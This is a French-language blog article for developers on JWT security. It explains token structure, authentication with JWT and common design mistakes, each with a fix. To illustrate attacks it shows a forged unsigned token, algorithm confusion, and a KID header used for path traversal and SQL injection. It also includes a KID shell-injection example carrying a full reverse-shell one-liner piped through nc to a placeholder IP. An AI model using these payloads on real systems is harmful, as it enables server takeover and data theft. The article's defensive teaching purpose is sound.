JWT et sécurité pour le développeur

Disclaimer : cet article est une vue d’ensemble destinée aux développeurs, j’ai fais des approximations sur pas mal de sujets ; je m’excuse d’avance si ça vous dérange, et je suis ouvert à tout retour par mail à nas2pwn@protonmail.com ou sur twitter @nas2pwn 😀

Dans cet article :

  1. Intro
  2. JWT c’est quoi ?
  3. Les erreurs à éviter

Si vous vous intéressez à JWT, vous êtes sûrement familiers avec le développement web ou mobile, et avec la notion de session côté serveur.

Pour rappel, le principe de la session côté serveur est le suivant : le serveur génère un identifiant de session (le fameux PHPSESSID en PHP) qu’il associe à un tableau associatif ($_SESSION[] en PHP) et qu’il retourne au client sous forme de cookie (via l’en-tête Set-Cookie).

En général, on se sert de cette technologie pour mémoriser les infos de l’utilisateur au cours de sa navigation, et pour qu’il reste authentifié :

Diagramme de séquence du protocole d'authentification avec une session côté serveur

Cette solution permet à l’utilisateur de ne pas avoir à indiquer ses identifiants à chaque requête :

Diagramme de séquence du protocole d'authentification sans session

Ce qui rend cette technique presque inviolable d’un point de vue sécurité, c’est que la seule information contrôlée par le client (l’ID de session) n’a pas valeur d’information pour l’application : ce qui exclut de fait toute altération directe de la session ou attaque par injection de code.

Mais cette technique a des limites. Elle ne fonctionne que si tous les endpoints de l’application tournent sur le même serveur (en réalité le même service), et utilisent la même technologie.

Or, il existe pléthore de cas où cette condition n’est pas remplie, pour n’en citer que deux :

Les puristes du HTTP déplorent également l’aspect stateful (“avec état”, lorsque l’état du client est enregistré sur le serveur) du système de session côté serveur, qui entre en contradiction avec la nature stateless (“sans état”) de HTTP (tel que défini dans la RFC 2616).

L’architecture REST par exemple, est puriste sur les bords, et n’autorise pas le recours à un système de session côté serveur. Il faut la comprendre, elle a été conçue par Roy Fielding, qui a également développé le protocole HTTP/1.1 !

Alors, en quoi JWT peut nous aider ?

JWT c’est quoi ?

JWT, abréviation de JSON Web Token, est une méthode sécurisée d’échange d’information décrite par la RFC 7519. L’information est échangée dans un jeton qui est signé pour assurer son intégrité.

Anatomie

Un jeton JWT est composé de trois éléments :

Le header identifie la méthode de chiffrement utilisée pour générer la signature (sous forme de JSON).

{
 "alg" : "HS256",
 "typ" : "JWT"
}

Ici la fonction de chiffrement utilisée est HMAC-SHA256, c’est la plus courante.

La charge utile contient l’information que l’on veut stocker dans le jeton. On peut y écrire librement dans des champs personnalisés (“claims”), mais il existe des champs standards (“registered claims”) à respecter, qui sont décrits dans la RFC 7519.

{
 "username" : "homer",
 "isAdmin" : 0,
 "iat" : 1422779638,
 "exp" : 1422979638
}

Ici, on stocke le nom de l’utilisateur dans le champ username, les privilèges de l’utilisateur dans le champ isAdmin, le timecode d’émission du jeton dans le champ iat, et celui d’expiration du jeton dans le champ exp.

Les champs iat et exp sont des champs standards signifiant respectivement “Issued At Time” et “Expiration Time”.

Enfin, on a la signature du jeton, qui vaut ici :


HMAC-SHA256(base64_encode(header) + "." + base64_encode(charge utile), secret)

secret est en quelque sorte notre clé de chiffrement, une chaîne de caractères qui servira à générer la signature et à la vérifier.

Le jeton final est la concaténation des trois parties ci-dessus encodées en base64 et séparées par des points :


base64_encode(header) + "." + base64_encode(charge utile) + "." + base64_encode(signature)

HEADER.PAYLOAD.SIGNATURE

Gérer l’authentification avec JWT

En réalité, JWT est le standard qui concerne exclusivement le jeton. Je vais ici décrire un protocole d’authentification qui utilise les jetons JWT et que j’ai tendance à également appeler JWT par métonymie.

Le principe de fonctionnement de JWT diffère de celui de la session côté serveur par le fait que c’est le client qui stocke l’information de la session : on peut en ce sens parler de session côté client.

Le principe est le suivant : le client envoie ses identifiants à l’API de connexion, qui lui renvoie son jeton JWT si la connexion est un succès.

Il suffit ensuite à l’utilisateur d’indiquer ce jeton à chaque fois qu’il appelle une API.

Diagramme de séquence du protocole d'authentification avec JWT

Notez qu’ici le jeton JWT est envoyé via l’en-tête Authorization de la requête HTTP, que notre navigateur web n’est pas capable de remplir automatiquement.

En fait, cette manière de procéder est adaptée aux applications organisées par API, où le front-end est capable de faire ses propres requêtes asynchrones. Ça concerne les applications web javascript (type React) par exemple, ou les applis mobiles.

Mais il est également possible de stocker le jeton JWT dans un cookie, ce qui se rapproche plus de l’expérience que l’on a avec le PHPSESSID.

Je vous conseille de lire cet excellent article pour avoir plus d’informations sur le sujet.

Les erreurs à éviter

Vous l’avez peut-être remarqué : je ne parle absolument pas d’implémentation dans cet article, et vous ne verrez pas une seule ligne de code.

Je vais en fait me concentrer sur les principales erreurs de conception qui peuvent rendre un jeton JWT (très) dangereux, sans trop rentrer dans les détails techniques.

L’idée est de vous permettre de sécuriser votre appli par vous-même, pour faire de la sécurité by-design.

Ce qui rend JWT très vulnérable, c’est que l’information de la session, qui était historiquement stockée par le serveur, l’est maintenant par le client.

On est donc obligés de lui faire confiance, alors qu’on lui donne beaucoup de pouvoir, et qu’il n’est pas forcément digne de confiance ! On va donc voir quelles précautions prendre pour assurer nos arrières.

Mais avant de commencer, définissons ce que l’on risque en cas d’attaque réussie du jeton JWT :

Maintenant, voici les erreurs à éviter.

Utiliser JWT pour les mauvaises raisons

Vous l’aurez compris, JWT est plus dangereux qu’un système de session côté serveur. La hype autour de cette technologie et son aspect “hyper sécurisé” ne doit pas vous aveugler dans votre choix.

Utiliser JWT, c’est augmenter la surface d’attaque de votre application : assurez-vous donc que son utilisation soit justifiée.

Utiliser le chiffrement symétrique à tort et à travers

On peut utiliser deux méthodes de chiffrement pour signer un jeton JWT :

Généralement, l’utilisation de HMAC est suffisant, et plus pratique : puisque souvent le même serveur s’occupe à la fois de l’émission et de la vérification du jeton, et que HMAC est (beaucoup) plus rapide que RSA.

Mais l’utilisation de RSA comme méthode de chiffrement présente pas mal d’avantages.

Elle permet notamment de mieux délimiter les rôles de chaque API : l’API émettrice de jetons doit être la seul à avoir accès à la clé privée, tandis que les API qui vérifient les jetons ne doivent avoir eux accès qu’à la clé publique.

Ainsi, si un pirate réussit à prendre le contrôle d’une API qui ne fait que vérifier les jetons et qui utilise RSA, il ne pourra voler que la clé publique et ne pourra donc pas signer ses propres jetons.

Ne pas vérifier l’algorithme de chiffrement

L’utilisateur a tout le loisir de modifier le header de son jeton, ce même header qui spécifie la méthode de chiffrement à utiliser pour vérifier le jeton : il peut s’en servir pour duper le serveur.

Cas 1 :

On a vu qu’on peut spécifier l’algorithme HMAC ou RSA, mais on peut aussi spécifier none dans le champ alg pour ne pas avoir à signer le jeton.

Pour se faire, il suffit de changer le header comme ceci :

{
	"alg" : "HS256" "none",
 	"typ" : "JWT"
}

De modifier le payload comme on le souhaite :

{
	"username" : "h4xor",
	"isAdmin" : 0 1,
}

Puis de retirer la signature du jeton :


ewogImFsZyIgOiAibm9uZSIsCiAidHlwIiA6ICJKV1QiCn0=.ewoJInVzZXJuYW1lIiA6ICJoNHhvciIsCgkiaXNBZG1pbiIgOiAxLAp9.NmWwHkoBnn7m03Q32gR_K2Xp-7T7T3JLTMEr8iksouA

C’est une fonctionnalité utile quand on veut faire du débogage, mais ça permet surtout aux attaquants de générer leurs propres tokens sans avoir à les signer quand le serveur n’est pas très regardant sur le contenu du header.

Heureusement, la plupart des librairies de gestion de JWT rejettent par défaut les jetons non signés, mais ce n’est pas le cas de toutes les librairies : il faut donc tester la faille, et corriger le code si besoin !

Cas 2 :

Maintenant, un cas plus complexe. Imaginons une application gérant la signature de ses jetons JWT avec RSA. Un pirate s’est débrouillé pour voler la clé publique.

Il ne peut à priori pas signer de jeton avec la clé publique uniquement, sauf si il remplace RSA par HMAC dans alg !

{
 "alg" : "RS256" "HS256",
 "typ" : "JWT"
}

En effet, le serveur va penser que la clé publique utilisée pour vérifier le jeton est également la clé à utiliser pour signer le jeton, car HMAC est une méthode de chiffrement symétrique.

L’attaquant pourra ainsi signer ses propres jetons avec la clé publique !

Pour corriger cette faille, il faut à chaque vérification de jeton s’assurer que l’algorithme spécifié dans le champ alg soit effectivement l’algorithme attendu.

Il est également souhaitable de ne pas rendre public la clé publique si l’utilisateur lambda n’en a pas besoin : car moins un attaquant sait de choses, plus la probabilité d’une attaque réussie est faible.

Ceux qui ont vu le bureau des légendes connaissent déjà ce principe, c’est le fameux “besoin d’en connaître” 😉.

Évitez donc d’utiliser la même paire de clés pour votre certificat SSL/TLS que pour vos jetons JWT !

Ne pas vérifier le KID

Il est possible de spécifier la clé à utiliser pour vérifier la signature d’un jeton dans son header, grâce au champ standard kid, qui signifie “Key ID”.

C’est une fonctionnalité utile quand on utilise plusieurs clés de chiffrement.

Il n’y a pas de restrictions quant à la forme que le KID peut prendre : ça peut être l’ID d’une clé sous forme numérique par exemple, ou bien le chemin vers un fichier contenant la clé…

Petit exemple :

{
	"alg" : "HS256",
	"typ" : "JWT",
	"kid" : 2
}

Ici, le serveur va utiliser la clé n°2 pour vérifier la signature du jeton : ce que le développeur a défini comme étant la clé n°2 en fait.

Et comme avec le champ alg, un utilisateur malveillant peut modifier le KID de son jeton pour tenter de duper le serveur. On va voir trois exemples d’attaque via le KID.

Cas 1:

Imaginons que le KID serve à indiquer le chemin vers le fichier contenant la clé de chiffrement :

Voici le header

{
	"alg" : "HS256",
	"typ" : "JWT",
	"kid" : "secret.key"
}

Et voilà le payload

{
	"username" : "h4xor",
	"isAdmin" : 0
}

Un pirate peut modifier le KID de son jeton pour pointer vers un fichier du serveur auquel il a accès, par exemple le fichier robots.txt :

Header

{
	"alg" : "HS256",
	"typ" : "JWT",
	"kid" : "secret.key" "../www/html/robots.txt"
}

Payload

{
	"username" : "h4xor",
	"isAdmin" : 0 1
}

Il lui suffit ensuite de signer son faux jeton avec le contenu du fichier robots.txt, puis de le soumettre au serveur : le voilà administrateur du site !

Pour se protéger contre cette attaque : il faut filtrer le KID contre les Directory Traversal, en lui retirant les / et les .. par exemple.

Cas 2 :

Imaginons maintenant que les clés soient stockées dans la table secrets de la base de données de l’application.

Le KID sert alors à indiquer l’ID de la clé à utiliser dans la table secrets.

L’application va devoir faire un appel à la base de données pour récupérer le secret à chaque fois qu’il vérifie un jeton, en SQL :

SELECT secretPlain FROM secrets where id=$kid limit 0,1;

Si le KID n’est pas filtré contre les injections SQL, l’attaquant peut alors insérer sa propre clé ou mener une attaque SQL à l’aveugle pour voler des informations (un secret ou des identifiants par exemple) !

Ici il insère son propre secret dans la base de données, la clé d’ID 72 dans la table sera je tai hacke mdr :

{
	"alg" : "HS256",
	"typ" : "JWT",
	"kid" : 2 "2; INSERT INTO secrets VALUES (72,'je tai hacke mdr');--"
}

Il lui suffit ensuite de fabriquer son faux jeton, de le signer avec le secret qu’il a inséré, puis de le soumettre au serveur : en indiquant bien le KID 72 dans le header.

{
	"alg" : "HS256",
	"typ" : "JWT",
	"kid" : "72"
}

S’il est nécessaire de filtrer le KID contre les injections, il faut aussi correctement définir les rôles dans la base de données pour limiter la portée d’une attaque réussie !

Cas 3 :

Il est également possible que le KID soit passé en paramètre d’une commande shell.

Petit exemple en PHP :

$key=system("findMyKey ".$kid);

Ici le problème est évident, l’utilisateur peut injecter ses propres commandes si le KID n’est pas filtré.

Ainsi, la lecture d’un jeton avec ce header

{
	"alg" :"HS256",
	"typ" : "JWT",
	"kid" : 2 "2;rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 12.34.56.78 1234 > f"
}

génèrera un reverse shell vers la machine du pirate, qu’il pourra utiliser pour exécuter les commandes qu’il souhaite sur le serveur web.

Pour éviter cette situation, le mieux est de ne pas du tout passer par une commande shell.

Mais si vous n’avez pas le choix, pensez à filtrer le KID avec une fonction comme escapeshellcmd() en PHP.

Attention : c’est la même problématique quand on utilise des fonctions du style eval() !

Faire confiance au payload

Empêcher la falsification du jeton est une chose, mais limiter l’impact d’une attaque réussie en est une autre.

Il faut admettre que les jetons JWT sont falsifiables, et qu’il faut donc faire le moins confiance possible à l’information qu’ils contiennent.

Quand vous lisez un jeton JWT, vous obtenez des variables qu’il faut filtrer contre les failles XSS, les injections SQL, les LFI, etc. comme si c’était une entrée utilisateur directe !

Stocker des informations sensibles en clair dans le jeton

Si l’utilisateur ne peut en principe pas modifier le contenu du jeton, il peut tout à fait le lire : il ne faut donc pas y stocker d’informations sensibles en clair, et si possible ne pas y stocker d’informations sensibles du tout !

Si vous devez absolument stocker une info sensible sur le jeton, mais uniquement pour la comparer à une autre info (comme un mot de passe à comparer à un autre mot de passe) : optez pour le hachage plutôt que le chiffrement. Car ce qui est chiffré est déchiffrable, mais pas ce qui est haché.

Utiliser un secret trop simple

Quand on a un jeton JWT, on a accès à son contenu en clair ainsi qu’à sa signature : on peut donc obtenir la clé de chiffrement par bruteforce !

Il va alors falloir utiliser une clé béton !

Si on utilise RSA : il suffit de générer une paire de clés de longueur suffisante avec openssl ou ssh-keygen (sans passphrase) pour se protéger, et si on utilise HMAC : on ne parle pas réellement de clé mais de “secret”, une sorte de mot de passe qui sert de clé de chiffrement.

Comme pour un mot de passe, il faut éviter d’utiliser des mots courants pour prévenir les attaques par dictionnaire. Substituer des lettres par des chiffres n’est pas très efficace, combiner plusieurs mots non plus (dans une certaine mesure évidemment).

Evitez donc les secrets du type : MySup3rS3cr3t

Puisque nous n’avons pas à nous souvenir du secret par cœur, qui sera de toute façon stocké sur le serveur, on peut simplement choisir une chaîne de caractères aléatoires de longueur suffisante.

Mieux vaut exagérer la longueur du secret que la négliger

Ne pas sécuriser la clé

Rien ne sert de prendre des milliers de précautions si la clé de chiffrement n’est pas en sécurité !

Il ne faut surtout pas que l’utilisateur puisse accéder à la clé :

Ne pas vérifier la signature

Oui, c’est tout bête, mais il arrive qu’on oublie de vérifier la signature des jetons JWT par mégarde ou malentendu.

Il faut tester si le programme laisse passer une signature invalide, et corriger le code si c’est le cas.

Utiliser une date d’expiration trop lointaine

L’un des gros inconvénients de JWT, c’est qu’on ne peut pas révoquer la session d’un utilisateur : quand on lui délivre un jeton, il est valable jusqu’à sa date d’expiration, impossible de le lui retirer.

Et c’est particulièrement gênant quand on s’en sert pour authentifier les utilisateurs.

Si on délivre un jeton qui a une durée de vie de 1 an à un utilisateur, et qu’on se rend compte que c’est un usurpateur d’identité, on est incapables de le lui révoquer : il pourra encore usurper pendant un an !

Heureusement, il existe des solutions à ce problème 😀

Solution clean

On peut employer un mécanisme à deux jetons :

Quand l’utilisateur se connecte à l’application avec ses identifiants, il reçoit les deux jetons.

Quand il appelle une API avec son jeton d’authentification, le serveur vérifie le jeton puis lui donne l’accès à l’API si le jeton est correct.

Et quand le jeton d’authentification a expiré, le client doit envoyer une demande de rafraîchissement du jeton d’authentification grâce au jeton de rafraîchissement.

Le serveur va vérifier le jeton de rafraîchissement, puis vérifier que l’offset de session indiqué dans le jeton est bien l’offset de session lié à l’utilisateur dans la base de données. Si c’est le cas, il lui envoie un nouveau jeton d’authentification, sinon, il refuse sa demande.

Ainsi, pour révoquer la session d’un utilisateur, il suffira d’incrémenter son offset dans la base de données !

En effet, lorsque l’utilisateur revoqué fera une nouvelle demande de rafraîchissement du jeton d’authentification (au bout de quelques minutes maximum), le serveur se rendra compte que l’offset indiqué dans le jeton de rafraîchissement ne correspond plus à l’offset qui lui est attribué dans la base de données, et refusera sa demande.

Diagramme de séquence du protocole d'authentification avec un système de deux jetons JWT

Solution questionnable

Il est également possible que vous trouviez au détour d’un tuto une solution de révocation de jeton à base de blacklist.

En fait, chaque jeton à vérifier est comparé à une liste de jetons révoqués (une blacklist donc) : s’il est présent dans cette liste, il est rejeté. Il suffit ainsi d’ajouter un jeton à la blacklist pour le révoquer.

Cette solution n’est pas pratique car on doit stocker l’état révoqué ou non du jeton dans le serveur. C’est donc une solution stateful, et s’il est possible d’avoir recours à cette solution, c’est qu’il est probablement aussi possible d’avoir recours à une vrai solution de session côté serveur.

Il est par ailleurs souvent possible de bypasser cette blacklist, quand y sont directement enregistrés les jetons : rappelons que le header, le payload et la signature sont encodés en base64.

En effet, en base64, le caractère de padding = peut faire en sorte que deux chaînes de caractères en base64 différentes, donnent une fois décodées la même chaîne de caractères (sans que ce soit mathématiquement valide, je vous invite à lire la RFC 4648 pour plus d’infos).

Ça permet de bypasser la blacklist sans rendre le jeton invalide.

Donc si vous voulez absolument mettre une blacklist en place, je vous conseille pour chaque jeton à révoquer de :

Pour vérifier un jeton, il faudra utiliser le même procédé de hachage afin de comparer son hash aux hashs de la blacklist.


Et voilà, vous êtes maintenant capables d’implémenter JWT sur votre appli en toute sécurité !

Si avez des questions, ou que vous voulez que je sécurise votre site web : contactez moi par mail à nas2pwn@protonmail.com ou par DM twitter @nas2pwn 😀